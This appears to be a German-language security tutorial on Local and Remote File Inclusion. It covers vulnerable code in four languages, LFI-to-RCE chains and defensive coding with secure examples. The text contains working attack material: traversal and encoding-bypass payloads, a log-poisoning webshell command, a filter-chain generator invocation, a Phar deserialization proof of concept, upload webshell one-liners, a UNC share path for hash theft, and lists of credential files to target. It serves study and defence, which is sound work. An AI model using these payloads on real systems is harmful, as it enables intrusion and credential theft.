Local File Inclusion (LFI) und Remote File Inclusion (RFI) gehören zu den ältesten Web-Schwachstellen überhaupt, und trotzdem werden sie regelmäßig unterschätzt. Der verbreitete Irrtum lautet: „Eine LFI ohne aktiviertes allow_url_include liest höchstens ein paar Dateien aus, richtig gefährlich ist nur RFI." Dieser Artikel zeigt, warum das nicht stimmt. Eine LFI kann auf modernen, korrekt konfigurierten PHP-Servern zu vollständiger Remote Code Execution führen, und zwar über Techniken, die in der Standardliteratur zu diesem Thema fast vollständig fehlen.
Sie erfahren hier zunächst, was File Inclusion technisch bedeutet, wie sich LFI, RFI und Directory Traversal sauber voneinander abgrenzen und woran Sie verwundbaren Code in PHP, Python, Node.js und Java erkennen. Der Schwerpunkt liegt danach auf den modernen Eskalationsketten von der reinen Informationsoffenlegung bis zur Codeausführung: Log Poisoning mit echten Payloads, Session-Datei-Inclusion, /proc/self/environ, die 2022 öffentlich gewordenen PHP-Filter-Chains (RCE ganz ohne allow_url_include), Phar-Deserialisierung und Datei-Upload-zu-RCE.
Zum Abschluss folgt eine ehrliche Einordnung, wann RFI heute überhaupt noch relevant ist, die offizielle CWE-Klassifikation, einige belegte CVEs und ein ausführlicher Schutzteil mit sicheren und unsicheren Codebeispielen im direkten Vergleich. Der Artikel ist als Lernressource gedacht: Sie sollen die Angriffe verstehen, um sie in autorisierten Tests nachvollziehen und in eigenen Anwendungen verhindern zu können.
Was ist File Inclusion?
Der Begriff File Inclusion beschreibt in der Webentwicklung einen völlig normalen Vorgang: Eine Anwendung bindet zur Laufzeit eine andere Datei ein, um Code oder Inhalte wiederzuverwenden, etwa ein Seiten-Template, ein Sprachpaket oder ein Modul. In PHP passiert das über include, require, include_once oder require_once, in anderen Sprachen über vergleichbare Datei- und Template-Funktionen.
Zum Sicherheitsproblem wird das erst, wenn der Pfad der einzubindenden Datei ganz oder teilweise aus einer vom Benutzer kontrollierten Eingabe stammt und die Anwendung diese Eingabe nicht ausreichend prüft. Das klassische verwundbare Muster in PHP sieht so aus:
<?php
// Verwundbar: der Parameter fliesst ungeprueft in include()
$page = $_GET['page'];
include($page . '.php');
?>
Ist der Include-Pfad manipulierbar, kann ein Angreifer die Anwendung dazu bringen, eine ganz andere Datei einzubinden als vorgesehen. Je nach Sprache, Funktion und Serverkonfiguration reicht das Ergebnis von harmloser Informationsoffenlegung bis zur Ausführung von beliebigem Code.
LFI, RFI und Path Traversal sauber abgrenzen
Diese drei Begriffe werden oft vermischt, sie bezeichnen aber unterschiedliche Dinge:
- Local File Inclusion (LFI): Die Anwendung bindet eine Datei ein, die bereits auf dem Server liegt. Der Angreifer steuert nur, welche lokale Datei geladen wird. Das kann von reiner Informationsoffenlegung (etwa
/etc/passwd) bis zu Remote Code Execution reichen, wenn die eingebundene Datei ausführbaren Code enthält. - Remote File Inclusion (RFI): Die Anwendung bindet eine Datei von einem externen, vom Angreifer kontrollierten Server ein. Das ist der direkte Weg zur Codeausführung, setzt in PHP klassischerweise aber
allow_url_include = Onvoraus (dazu unten mehr). - Path Traversal (Directory Traversal): Eine Technik, nicht dasselbe wie File Inclusion. Mit Sequenzen wie
../oder absoluten Pfaden bricht ein Angreifer aus dem vorgesehenen Verzeichnis aus. Path Traversal kann eigenständig auftreten (reiner Lesezugriff über eine Download-Funktion) oder als Baustein innerhalb einer LFI-Kette, um die Inclusion-Funktion mit einem beliebigen Pfad zu füttern.
Kurz gesagt: Path Traversal ist das Werkzeug, LFI die Schwachstellenklasse, bei der dieses Werkzeug auf eine Funktion trifft, die den Inhalt nicht nur liest, sondern potenziell ausführt. Die reine Traversal-Perspektive (Dateizugriff ohne Ausführung) behandeln wir vertieft im Artikel Directory Traversal Grundlagen. Dieser Beitrag konzentriert sich auf die Inclusion-zu-RCE-Perspektive.
Wie gefährlich ist welche Variante?
RFI ist potenziell verheerend (vollständige Systemkompromittierung im schlimmsten Fall), wird aber laut Anbietern wie Invicti heute nur noch sehr selten gefunden, weil die dafür nötige Konfiguration seit PHP 5 standardmäßig deaktiviert ist. LFI dagegen ist deutlich häufiger anzutreffen und wird oft als „nur Informationsleck" abgetan. Genau diese Unterschätzung ist gefährlich, wie der Abschnitt zu den Eskalationsketten zeigt.
Verwundbarer Code in vier Sprachen
File Inclusion ist kein reines PHP-Problem. Das zugrunde liegende Muster (unvalidierter Benutzerinput fließt in eine Dateizugriffsfunktion) tritt in jeder Sprache auf. Die Auswirkung unterscheidet sich aber: In PHP kann eingebundener Code direkt ausgeführt werden, in den meisten anderen Umgebungen bleibt es zunächst beim Lesezugriff, was immer noch schwerwiegend ist. PHP steht dabei besonders im Fokus, weil die Sprache laut w3techs (Stand 2026) auf 70,6 Prozent aller Websites eingesetzt wird, deren serverseitige Programmiersprache bekannt ist. Entsprechend beziehen sich die tiefergehenden Techniken in diesem Artikel überwiegend auf PHP.
PHP: der Klassiker
<?php
// Verwundbar
$file = $_GET['file'];
include($file);
?>
Angriff zum Auslesen der Benutzerdatenbank des Systems:
http://example.com/index.php?file=../../../../etc/passwd
Die Besonderheit von PHP: include parst die eingebundene Datei und führt allen Code zwischen <?php und ?> aus. Der Rest der Datei wird ignoriert. Genau das macht Log Poisoning und ähnliche Techniken erst möglich, weil PHP eine Logdatei voller HTTP-Rauschen problemlos einbindet und nur den eingeschmuggelten PHP-Anteil ausführt.
Python (Flask)
from flask import request
import os
@app.route("/view")
def view():
page = request.args.get("page")
return open(os.path.join("templates", page)).read()
Angriff:
http://example.com/view?page=../../../../etc/passwd
os.path.join bietet hier keinen Schutz: Enthält das zweite Argument einen absoluten Pfad oder ../-Sequenzen, verlässt der resultierende Pfad das Template-Verzeichnis. In Python bleibt es meist bei Informationsoffenlegung, weil open().read() den Inhalt nur liest, nicht ausführt. Kritisch wird es, wenn der gelesene Inhalt anschließend an eine Template-Engine wie Jinja2 mit aktiviertem Auto-Rendering weitergereicht wird, dann drohen Server-Side Template Injection und Codeausführung.
Node.js (Express)
app.get('/view', function (req, res) {
let page = req.query.page;
res.sendFile(__dirname + '/views/' + page);
});
Angriff:
http://example.com/view?page=../../../../etc/passwd
res.sendFile liefert die Datei zum Download aus, ohne sie auszuführen. Node bietet jedoch mit path.resolve und der Option root eine eingebaute Absicherung, die wir im Schutzteil zeigen. Ohne diese Absicherung ist die Traversal identisch zum PHP-Fall.
Java (Servlet)
String page = request.getParameter("page");
File file = new File("/var/www/html/" + page);
Scanner sc = new Scanner(file);
Angriff:
http://example.com/view?page=../../../../etc/passwd
In der Java-Welt gibt es eine zusätzliche Nuance: JSP-Umgebungen mit <jsp:include> oder der JSTL-Tag <c:import> können, ähnlich wie PHP, remote Ressourcen einbinden, wenn die URL manipulierbar ist. Damit rückt die Java/JSP-Welt in bestimmten Konstellationen näher an die RFI-Problematik heran als das reine Datei-Lesen über File und Scanner.
Angriffstechniken im Überblick
Bevor es an die RCE-Eskalation geht, lohnt ein Blick auf die Bausteine, mit denen Angreifer Filter umgehen und an interessante Dateien gelangen.
Path-Traversal-Payloads und Filter-Umgehungen
Naive Filter, die nur nach dem String ../ suchen, lassen sich auf viele Arten austricksen. Die Sammlung PayloadsAllTheThings dokumentiert eine ganze Eskalationsleiter:
# Basis-Traversal
http://example.com/index.php?page=../../../etc/passwd
# URL-Encoding
http://example.com/index.php?page=%2e%2e%2fetc%2fpasswd
# Double-Encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
# UTF-8-Overlong-Encoding (umgeht manche naive Filter)
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Verschachtelte Sequenzen (ueberlebt einmaliges Ersetzen von ../)
http://example.com/index.php?page=....//....//etc/passwd
Der Trick mit den verschachtelten Sequenzen (....//) ist lehrreich: Entfernt ein Filter jedes Vorkommen von ../ genau einmal, wird aus ....// nach dem Entfernen wieder ../. Ein einmaliges String-Replace ist deshalb wertlos. Die offizielle MITRE-Dokumentation zeigt genau diesen Fehler an einem Perl-Beispiel, bei dem das fehlende /g-Flag dazu führt, dass nur das erste ../ entfernt wird.
Null Byte Injection (nur Altsysteme)
Früher konnte ein angehängtes %00 eine erzwungene Dateiendung „abschneiden", sodass aus ../../etc/passwd%00.php beim Dateizugriff ../../etc/passwd wurde. Diese Technik funktioniert nur in PHP-Versionen vor 5.3.4 und ist auf aktuellen Systemen wirkungslos. Wir nennen sie der Vollständigkeit halber, weil sie in älteren Anleitungen prominent auftaucht.
PHP-Stream-Wrapper
PHP unterstützt eine Reihe von Stream-Wrappern, die in Dateizugriffsfunktionen wie Pfade wirken. Die offizielle PHP-Dokumentation listet zwölf: file://, http://, ftp://, php://, zlib://, data://, glob://, phar://, ssh2://, rar://, ogg:// und expect://. Für die Ausnutzung sind vor allem diese relevant:
| Wrapper | Zweck im Angriff | Voraussetzung |
|---|---|---|
php://filter | Quellcode Base64-kodiert auslesen; Basis moderner Filter-Chains | keine besondere |
php://input | PHP-Code aus dem POST-Body ausführen | allow_url_include=On |
data:// | Base64-Inline-PHP direkt ausführen | allow_url_include=On |
expect:// | Systembefehle über eine Shell ausführen | PECL-Erweiterung expect |
zip:// | PHP-Code aus einem hochgeladenen ZIP-Archiv ausführen | zip-Erweiterung (seit PHP 5.3) |
phar:// | Metadaten-Deserialisierung, Objektinjektion | Datei-Upload eines Phar |
Ein häufig genutzter, harmloser Einstieg ist das Auslesen von Quellcode über php://filter, ohne dass Code ausgeführt wird:
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
Die Antwort ist der Base64-kodierte Inhalt von config.php, den ein Angreifer bequem dekodiert, um an Datenbank-Zugangsdaten zu gelangen. Wichtig für spätere Payloads: Laut PHP-Dokumentation muss der Parameter /resource= immer der letzte Bestandteil einer Filterkette sein.
Interessante Zieldateien
Ein Pentester sucht bei LFI gezielt nach Dateien mit hohem Informationswert. Die folgende Übersicht kombiniert klassische Ziele mit modernen, cloud-nativen Zielen, die in den meisten Anleitungen fehlen:
| Kategorie | Linux / Unix | Windows |
|---|---|---|
| Systemnutzer | /etc/passwd, /etc/shadow | C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts |
| Umgebung / Prozess | /proc/self/environ, /proc/self/cmdline | C:\Windows\php.ini |
| Secrets / Schlüssel | ~/.ssh/id_rsa, ~/.aws/credentials, .env | C:\inetpub\wwwroot\web.config |
| Logs (fuer Poisoning) | /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log | C:\xampp\apache\logs\access.log |
| CMS-Konfiguration | wp-config.php, configuration.php (Joomla), sites/default/settings.php (Drupal) | |
| Cloud / Container | /var/run/secrets/kubernetes.io/serviceaccount/token |
Besonders die letzten beiden Zeilen zeigen, wie sich LFI-Ziele mit der Zeit verschoben haben. Eine .env-Datei enthält heute oft Datenbank-Passwörter, API-Keys und den APP_KEY eines Frameworks, ein Kubernetes-Service-Account-Token erlaubt Zugriff auf die Cluster-API. Der Schaden geht damit weit über das sprichwörtliche /etc/passwd hinaus. Eine LFI umgeht auf diese Weise faktisch die Zugriffskontrolle der Anwendung, ein Problem, das in verwandter Form auch bei Broken Access Control und IDOR auftritt.
Moderne LFI-zu-RCE-Eskalationsketten
Dies ist das Herzstück des Artikels und der Punkt, an dem sich die meisten anderen Quellen ausschweigen. Eine LFI ist selten das Endziel, sie ist der Einstieg. Die folgenden Techniken verwandeln einen reinen Lesezugriff in Codeausführung. Was Remote Code Execution konkret bedeutet, erklären wir ausführlich im Artikel Remote Code Execution erklärt.
Log Poisoning (Apache, Nginx, SSH)
Die Idee: Ein Angreifer bringt eigenen PHP-Code in eine Datei, die der Server ohnehin schreibt, und bindet diese Datei anschließend per LFI ein. Weil PHP nur den Code zwischen den PHP-Tags ausführt und den Rest ignoriert, spielt das umgebende Log-Rauschen keine Rolle.
Klassisches Access-Log-Poisoning über den User-Agent-Header. Zuerst wird der Payload eingeschleust, zum Beispiel mit curl:
curl -A '<?php system($cmd); ?>' http://target.com/
$cmd steht hier als Platzhalter fuer einen angreifergesteuerten Befehl, den die Webshell aus einem Request-Parameter liest (im Beispiel cmd).
Der User-Agent landet als Zeile im Access-Log. Danach bindet der Angreifer das Log ein und übergibt den auszuführenden Befehl:
http://target.com/index.php?page=/var/log/apache2/access.log&cmd=id
Der eingeschmuggelte system($cmd)-Aufruf wird jetzt beim Einbinden des Logs ausgeführt und gibt das Ergebnis von id zurück. Übliche Log-Pfade je nach Server:
Apache (Linux): /var/log/apache2/access.log
Apache (XAMPP): C:\xampp\apache\logs\access.log
Nginx (Linux): /var/log/nginx/access.log
SSH-Auth (Linux): /var/log/auth.log
Der SSH-Auth-Log-Trick verdient eine Erwähnung: Meldet man sich per SSH mit einem Benutzernamen an, der PHP-Code enthält, landet dieser Versuch in /var/log/auth.log. Bindet man das Log anschließend per LFI ein, wird der Code ausgeführt. Das setzt allerdings voraus, dass der Webserver-Benutzer die Auth-Log-Datei lesen darf, was auf gehärteten Systemen selten der Fall ist.
/proc/self/environ
Auf Linux-Systemen spiegelt /proc/self/environ die Umgebungsvariablen des aktuellen Prozesses wider. In älteren CGI-Konstellationen landet der User-Agent-Header als HTTP_USER_AGENT in dieser virtuellen Datei. Enthält der User-Agent PHP-Code und ist /proc/self/environ per LFI lesbar sowie durch die PHP-Engine interpretierbar, ergibt sich derselbe Effekt wie beim Log Poisoning. Auf modernen PHP-FPM-Setups funktioniert das oft nicht mehr, es bleibt aber ein wertvolles Ziel zum Auslesen von Secrets, die als Umgebungsvariablen gesetzt sind (Datenbank-Passwörter, Tokens).
Session-Datei-Inclusion
Eine elegante Variante des Log Poisoning nutzt die PHP-Session-Datei als Ablageort. PHP speichert Sessions serverseitig als Dateien, unter Linux üblicherweise in /var/lib/php/sessions/, benannt nach dem Schema sess_<PHPSESSID>:
Session-Datei (Linux): /var/lib/php/sessions/sess_<PHPSESSID>
Session-Datei (Windows): C:\Windows\Temp\sess_<PHPSESSID>
Beispiel: PHPSESSID = el4ukv0kqbvoirg7nkp4dncpk3
-> /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
Der Ablauf: Zuerst prüft der Angreifer, ob ein von ihm kontrollierbares Feld (etwa ein Suchbegriff oder Formularwert) unverändert in die Session geschrieben wird. Ist das der Fall, schleust er PHP-Code in dieses Feld ein und bindet danach die Session-Datei per LFI ein:
http://target.com/index.php?page=/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3&cmd=id
Eine verwandte Technik nutzt PHP_SESSION_UPLOAD_PROGRESS: Ist session.upload_progress.enabled aktiv, kann ein Angreifer über ein spezielles Formularfeld beim Datei-Upload kontrollierten Inhalt in die Session-Datei schreiben, selbst wenn die Anwendung sonst keine Benutzerdaten in der Session ablegt.
PHP-Filter-Chains: RCE ohne allow_url_include
Dies ist die technisch wichtigste Entwicklung der letzten Jahre und der Grund, warum die Beruhigung „LFI ohne allow_url_include ist harmlos" falsch ist. Die eigentliche RCE-Erzeugung aus einer reinen LFI geht auf einen öffentlichen Gist von loknop zurück, der auf dem Blogpost des Security-Unternehmens Synacktiv zum Datei-Lesen über php://filter-Ketten aufbaut. Damit lässt sich aus einer reinen LFI heraus beliebiger PHP-Code erzeugen und ausführen, ganz ohne aktiviertes allow_url_include.
Das Prinzip: Statt eines echten Dateipfads wird php://temp als Ressource verwendet. Über eine lange Kette von php://filter-Konvertierungen wird Byte für Byte ein gewünschter Text am Anfang des Streams erzeugt. Ausgenutzt werden zwei Eigenschaften: PHPs Base64-Dekoder ignoriert ungültige Zeichen, und bestimmte iconv-Zeichenkodierungswechsel stellen feste Byte-Präfixe voran. Durch geschicktes Springen zwischen Kodierungen lässt sich so am Anfang des Streams schrittweise ein kompletter PHP-Code-Payload zusammensetzen, den include anschließend ausführt.
Die Kette baut man nicht von Hand, dafür existiert das Werkzeug php_filter_chain_generator.py:
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
Das Ergebnis ist eine sehr lange Filterkette, die als Wert des verwundbaren Parameters eingesetzt wird und beim Einbinden phpinfo() ausführt. Ihr grober Aufbau:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|
convert.iconv.UTF8.UTF7|...viele weitere Filter...|
convert.base64-decode/resource=php://temp
Wichtige Einordnung und Grenzen, wörtlich nach Synacktiv: Die Technik funktionierte in den von Synacktiv getesteten Versionen PHP 8.1.11, 7.4.30 und 5.6.40 identisch, es ist also kein reines Altsystem-Problem. Die generierten Ketten werden allerdings bis zu rund 14 KB groß, was Apaches Standard-Header-Limit von 8 KB überschreitet. NGINX mit einem Standardlimit von 16 KB eignet sich daher besser als Ziel. Synacktiv demonstrierte die Technik unter anderem gegen Laravel v9.34.0 in Kombination mit einer Session-Deserialisierung.
Es gibt zusätzlich eine verwandte Technik, das Error-Based-Oracle-Dateilesen, die ihren Ursprung in einer CTF-Challenge von @hash_kitten bei DownUnderCTF 2022 hat und von Synacktiv aufgegriffen und dokumentiert wurde: Über beobachtbares Fehlerverhalten (ausgelöste Speicherlimit-Fehler) lassen sich Dateien byteweise auslesen, sogar wenn die aufgerufene Funktion den Inhalt gar nicht zurückgibt (etwa sha1_file()). Laut Synacktivs Testreihe sind davon mindestens 15 von 83 untersuchten PHP-Dateisystem-Funktionen betroffen. Diese Zahl ist ein Ergebnis der spezifischen Synacktiv-Analyse, keine universelle PHP-Eigenschaft.
Phar-Deserialisierung
Die Phar-Deserialisierung wurde 2018 von Sam Thomas auf der Black Hat USA vorgestellt (Vortrag „It's a PHP Unserialization Vulnerability Jim, but Not as We Know It"). Der Kern: Der phar://-Wrapper deserialisiert automatisch die im Manifest eines PHP-Archivs gespeicherten Metadaten, sobald irgendeine Dateisystem-Funktion über phar:// darauf zugreift, ganz ohne expliziten unserialize()-Aufruf im Anwendungscode.
Betroffen sind nicht nur include und require, sondern auch scheinbar harmlose Lesefunktionen wie file_get_contents(), file_exists(), is_file(), md5_file(), filemtime() und filesize(). Enthält das Manifest ein Objekt einer Klasse, die im Anwendungskontext existiert und eine gefährliche Magic-Methode wie __destruct() oder __wakeup() besitzt, wird diese beim Aufräumen des Objekts ausgeführt. Diese Ausnutzung vorhandener Klassen heißt Property-Oriented Programming (POP), das PHP-Gegenstück zu ROP bei Binärexploits.
Ein vereinfachtes Beispiel. Angenommen, die Anwendung enthält eine Klasse, deren Destruktor einen Callback ausführt:
<?php
class PDFGenerator {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
Ein Generator-Skript baut ein bösartiges Phar-Archiv, dessen Metadaten ein PDFGenerator-Objekt mit angreifergesetzten Werten enthalten:
<?php
class PDFGenerator { }
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned";
@unlink("poc.phar");
$poc = new Phar("poc.phar");
$poc->startBuffering();
$poc->setStub("<?php echo 'Stub'; __HALT_COMPILER();");
$poc["file"] = "text";
$poc->setMetadata($dummy);
$poc->stopBuffering();
?>
Das Erzeugen eines Phar setzt voraus, dass phar.readonly deaktiviert ist (der Standardwert ist 1). Das Generator-Skript muss deshalb mit php -d phar.readonly=0 gen.php ausgeführt werden. Für den eigentlichen Angriff, also das Einbinden des fertigen Archivs auf dem Ziel, ist das nicht nötig.
Greift die verwundbare Anwendung nun über phar://poc.phar auf das Archiv zu, wird das Objekt deserialisiert, sein __destruct() am Skriptende aufgerufen und passthru("uname -a > pwned") ausgeführt. Reale, dokumentierte RCE-Fälle über diese Technik gab es laut pentest-tools.com in WordPress, Magento, Drupal und phpBB. Das Projekt PHPGGC (github.com/ambionics/phpggc) katalogisiert fertige Gadget-Ketten für verbreitete Frameworks, wodurch die Wahrscheinlichkeit steigt, in einer großen Anwendung eine passende Klasse zu finden.
Datei-Upload zu RCE
Wenn eine Anwendung Datei-Uploads erlaubt und der Upload-Pfad per LFI erreichbar ist, lässt sich eingeschleuster Code direkt ausführen. Drei Varianten sind gängig:
# 1) Bild-Upload: GIF-Header taeuscht die Upload-Pruefung, dahinter PHP-Code
echo 'GIF8<?php system($cmd); ?>' > shell.gif
# Einbindung: ?page=./profile_images/shell.gif&cmd=id
# 2) ZIP-Wrapper: PHP in ein ZIP packen, als Bild getarnt hochladen
echo '<?php system($cmd); ?>' > shell.php && zip shell.jpg shell.php
# Einbindung: ?page=zip://./profile_images/shell.jpg%23shell.php&cmd=id
# 3) Phar-Wrapper: Phar erzeugen und als Bild tarnen
php -d phar.readonly=0 phar_gen.php && mv shell.phar shell.jpg
# Einbindung: ?page=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
Beim ZIP-Beispiel trennt das URL-kodierte %23 (das Zeichen #) den äußeren Archivpfad vom internen Dateinamen innerhalb des ZIP. Der zip://-Wrapper existiert seit der ext/zip-Ära (verfügbar ab PHP 5.3) und setzt lediglich die aktivierte zip-Erweiterung voraus, PHP 7.2.0 ergänzte nur Passwort-Unterstützung für verschlüsselte Archive. Das GIF8-Präfix im ersten Beispiel imitiert die Signatur einer GIF-Datei, um eine Upload-Prüfung zu bestehen, die nur die ersten Bytes betrachtet.
Ist RFI heute noch relevant?
Kurze, ehrliche Antwort: seltener als früher, aber nicht bedeutungslos. Klassisches RFI über include('http://...') setzt in PHP allow_url_include = On voraus, und diese Direktive ist seit PHP 5 standardmäßig deaktiviert. Seit PHP 7.4.0 (veröffentlicht am 28. November 2019) ist sie zusätzlich als deprecated markiert, das Aktivieren erzeugt seither eine Deprecation-Notice. Wichtig: Die Direktive wurde nur als veraltet markiert, nicht entfernt, sie funktioniert weiterhin, wenn jemand sie aktiviert.
Technisch hängt allow_url_include von allow_url_fopen ab, denn Ersteres benötigt Letzteres. Deshalb genügt in der Praxis oft schon allow_url_fopen = Off, um include-basiertes RFI vollständig zu unterbinden.
RFI bleibt trotzdem in mehreren Fällen relevant:
- Legacy-Systeme und Fehlkonfigurationen: Ältere Anwendungen oder Shared-Hosting-Umgebungen mit versehentlich aktiviertem
allow_url_includeexistieren weiter. - SMB/UNC-Bypass unter Windows: Auf Windows-Zielen funktioniert ein UNC-Pfad wie
?page=\\10.0.0.1\share\shell.phpselbst dann, wennallow_url_includeUNDallow_url_fopendeaktiviert sind, weil Windows selbst (nicht PHP) die Netzwerkfreigabe auflöst. Das kann zur Codeausführung oder mindestens zum Leak eines NTLM-Hashes führen, den ein Angreifer offline knackt oder per Relay weiterverwendet.
Das ist der Grund, warum die pauschale Aussage „RFI existiert praktisch nicht mehr" irreführend ist. Sie ist selten geworden, aber wo sie auftritt, ist sie kritisch.
CWE-Einordnung und belegte CVEs
Für eine seriöse Einordnung hilft die offizielle Klassifikation von MITRE. In der übergeordneten Risikobetrachtung ordnet sich File Inclusion in die OWASP Top 10 ein, konkret werden File Inclusion und Path Traversal über eine zusammenhängende CWE-Kette beschrieben:
- CWE-73 (External Control of File Name or Path): die allgemeinste Kategorie, externe Kontrolle über Dateiname oder Pfad.
- CWE-22 (Path Traversal) mit den spezifischeren Kindern CWE-23 (relativ) und CWE-36 (absolut).
- CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program), von MITRE als „PHP Remote File Inclusion" benannt und mit „High" Likelihood of Exploit eingestuft. Die Beschreibung deckt sowohl Remote- als auch lokale Fälle über Path Traversal ab.
Zu konkreten CVEs ist Vorsicht geboten, deshalb kennzeichnen wir die Belegquelle klar:
- CVE-2021-41773 (direkt gegen NVD verifiziert): eine Path-Traversal- und in bestimmter Konstellation RCE-Schwachstelle mit CVSS 3.1 Base Score 9.8 (kritisch). Sie betrifft ausschließlich Apache HTTP Server 2.4.49, nicht frühere Versionen. Volle Codeausführung war nur bei aktiviertem
mod_cgimöglich. Der Nachbesserungsversuch in 2.4.50 war unvollständig und zog ein separates CVE-2021-42013 nach sich. Das ist kein PHP-LFI-Fall, illustriert aber, wie eng Path Traversal und RCE beieinanderliegen. - CVE-2018-16283 (gegen NVD geprüft): eine pfad-traversal-basierte File Inclusion im WordPress-Plugin „Wechat Broadcast" (Version 1.2.0 und früher). NVD führt sie offiziell als Directory Traversal (CWE-22) über den
url-Parameter vonImage.php, der ein Auslesen beliebiger Dateien ermöglicht. Es handelt sich also nicht um ein klassisches Remote File Inclusion, auch wenn manche Sekundärquellen es so etikettieren. - CVE-2014-7228 (gegen NVD geprüft): eine PHP-Objektinjektion mit Remote Code Execution in Joomla (Versionen 2.5.4 bis 2.5.25, 3.0 bis 3.2.5 und 3.3.0 bis 3.3.4), technisch ausgelöst durch
unserialize()desfactory-Parameters (NVD-Weakness CWE-310). Nur Joomlas eigenes Advisory bezeichnete die Lücke als „Remote File Inclusion", der tatsächliche Mechanismus ist aber Objektinjektion, nicht das Einbinden einer entfernten Datei. - CVE-2018-19274 (laut Sekundärquelle pentest-tools.com): Phar-Deserialisierung in phpBB 3.2.3.
Gerade die beiden zuletzt genannten CMS-CVEs zeigen, wie wichtig eine Typprüfung ist: Sekundärquellen und selbst Hersteller-Advisories etikettieren Schwachstellen mitunter als „RFI", die NVD tatsächlich als Directory Traversal oder Objektinjektion führt. Prüfen Sie vor produktivem Bezug einer CVE daher stets die NVD-Klassifikation. CWE-22 führt zudem sehr aktuelle Beispiele aus 2024, etwa Path-Traversal-CVEs in LLM- und ML-Werkzeugen, was zeigt, dass diese Schwachstellenklasse längst nicht auf Legacy-PHP beschränkt ist.
Schutzmaßnahmen in der Tiefe
Wirksamer Schutz besteht nicht aus einer einzelnen Maßnahme, sondern aus mehreren Schichten. PortSwigger fasst das Grundprinzip treffend als Zweischicht-Verteidigung zusammen: erst validieren (was ist erlaubt?), dann kanonisieren und prüfen (wohin zeigt der Pfad wirklich?).
Allowlist statt Blocklist
Das mit Abstand wirksamste Prinzip: Erlauben Sie nur explizit bekannte Werte, statt zu versuchen, gefährliche Zeichen herauszufiltern. Eine Blocklist ist fast immer unvollständig, wie die Encoding-Bypässe weiter oben zeigen. Eine Allowlist bildet Benutzerinput auf feste, serverseitig hinterlegte Pfade ab:
<?php
// Sicher: feste Zuordnung von Schluessel zu Pfad
$allowed_pages = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($allowed_pages[$key])) {
http_response_code(404);
exit('Seite nicht gefunden.');
}
include(__DIR__ . '/' . $allowed_pages[$key]);
?>
Der Angreifer kontrolliert hier nur noch den Schlüssel, niemals den Pfad. Traversal, Wrapper und Encoding-Tricks laufen ins Leere.
basename() und Kanonisierung mit realpath()
Ist eine Allowlist nicht praktikabel, weil legitim viele Dateien in Frage kommen, kombinieren Sie basename() (entfernt Verzeichnisanteile) mit einer Kanonisierung über realpath() und einer anschließenden Prüfung gegen das erlaubte Verzeichnis:
<?php
$base = realpath('/var/www/app/pages');
$requested = realpath($base . '/' . basename($_GET['page']));
// Pruefen, dass der aufgeloeste Pfad wirklich im erlaubten Verzeichnis liegt
if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(404);
exit('Ungueltiger Pfad.');
}
include($requested);
?>
Entscheidend ist die Reihenfolge: realpath() löst ../-Sequenzen und Symlinks zu einem absoluten, kanonischen Pfad auf, erst danach prüfen Sie mit einem Präfixvergleich, ob dieser Pfad tatsächlich im erlaubten Verzeichnis liegt. Ein reiner String-Vergleich vor der Kanonisierung ist umgehbar.
Das analoge Muster in Node.js nutzt path.resolve und einen Präfix-Check oder die eingebaute root-Option:
const path = require('path');
const ROOT = path.resolve(__dirname, 'views');
app.get('/view', function (req, res) {
const target = path.resolve(ROOT, req.query.page);
if (!target.startsWith(ROOT + path.sep)) {
return res.status(400).send('Ungueltiger Pfad.');
}
res.sendFile(target);
});
Gegen Filter-Chains: is_file() vorschalten
Gegen die weiter oben beschriebenen PHP-Filter-Chains und das Error-Based-Oracle gibt es einen konkreten, wirksamen Schutz: Funktionen wie is_file() und file_exists() rufen intern stat() auf, und stat() unterstützt den php://filter-Wrapper nicht. Ein is_file()-Check vor der eigentlichen Dateioperation blockiert damit php://-basierte Angriffe:
<?php
$path = $_POST[0];
if (is_file($path)) { // blockiert php://filter, da stat() den Wrapper nicht kennt
echo file_get_contents($path);
}
?>
php.ini härten
Auf Serverebene gehören diese Direktiven in jede PHP-Konfiguration:
allow_url_include = Off ; verhindert klassisches RFI
allow_url_fopen = Off ; falls Remote-fopen nicht gebraucht wird
open_basedir = /var/www/html:/tmp ; sperrt Dateizugriffe in ein Verzeichnis-Jail
open_basedir sperrt alle Dateizugriffe von PHP-Skripten in die angegebenen Verzeichnisse und begrenzt so den Schaden einer LFI erheblich, weil /etc/passwd oder Logdateien außerhalb des Jails schlicht nicht mehr erreichbar sind. Ergänzend wirkt eine Ausführung mit minimalen Rechten (Least Privilege) sowie, wo passend, chroot- oder Container-Isolation. MITRE bewertet allow_url_fopen = Off explizit als Mitigation mit hoher Wirksamkeit.
Uploads absichern und Phar entschärfen
Gegen Datei-Upload-zu-RCE und Phar-Deserialisierung helfen: strikte serverseitige Validierung von Uploads (Dateityp und Inhalt prüfen, nicht nur die Endung), zufällige Dateinamen beim Speichern (erschwert das gezielte Ansprechen einer hochgeladenen Datei), Ablage außerhalb des Web-Roots und, wenn nicht benötigt, das Deaktivieren der Phar-Unterstützung.
Was eine WAF leistet, und was nicht
Eine Web Application Firewall wie ModSecurity mit dem OWASP Core Rule Set kann viele bekannte LFI-Payloads abfangen und ist eine sinnvolle zusätzliche Schicht. Sie ist aber kein Ersatz für sicheren Code: Encoding-Tricks, framework-spezifische Filter-Chains und lange, ungewöhnliche Payloads umgehen regelbasierte Filter regelmäßig. Verstehen Sie eine WAF als Sicherheitsnetz, nicht als Fundament. Das Fundament ist der Code, der Benutzerinput gar nicht erst in Dateizugriffsfunktionen fließen lässt.
In der Praxis testen (autorisiert)
